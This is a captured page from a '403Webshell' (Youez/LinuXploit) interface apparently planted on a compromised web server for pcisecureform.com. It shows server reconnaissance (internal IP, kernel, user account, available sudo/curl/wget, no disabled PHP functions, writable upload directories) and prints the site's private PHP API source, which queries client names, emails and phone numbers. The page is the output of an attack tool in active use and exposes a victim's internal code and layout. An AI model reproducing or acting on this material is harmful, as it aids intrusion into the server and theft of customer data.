403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/GetReducedFeeTextInfo.php
<?php
/* * 
 * Can get the default subscription values for a specific site, or the actual subscriptions for a specific user
 */
//error_reporting(E_ALL);
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/ez_sql/shared/ez_sql_core.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/ez_sql/mysql/ez_sql_mysql.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/Logger.php');

//$site = (isset($_REQUEST['site']) && $_REQUEST['site'] != '') ? preg_replace('/[^a-zA-Z0-9]/','',$_REQUEST['site']) : '';  
$response = array(); 

if(!$db = connect_lc2user_new('lc2admin')) {
	SendError(__FILE__." at line ".__LINE__, "Failure to connect to database (lc2admin). MySQL: ".$db->error());
	$response['error'] = 'Unable to connect to database for this site.';
	$return_json = json_encode($response);
	die($return_json);  
}

$res = $db->get_results("SELECT site_code,client_id FROM lc2admin.cancel_reactivations_fee_reduced_texts WHERE id='".$db->clean($_REQUEST['id'])."'");
$row = $res[0];
$res = $db->get_results("SELECT first,last,email,phone_1,id FROM lc2{$row['site_code']}_lc.lc_reseller WHERE id='".$db->clean($row['client_id'])."'");
$client = $res[0];

$response['rid'] = $row->id;
$response['client_id'] = $row->client_id;
$response['site_code'] = $row->site_code;
$response['first_name'] = $client->first;
$response['last_name'] = $client->last;
$response['email'] = $client->email;
$response['phone'] = $client->phone_1;

if(empty($response)) {
	$response['error'] = 'Unable to retrieve any category information.'; 
}

$return_json = json_encode($response); 
die($return_json); 

Youez - 2016 - github.com/yon3zu
LinuXploit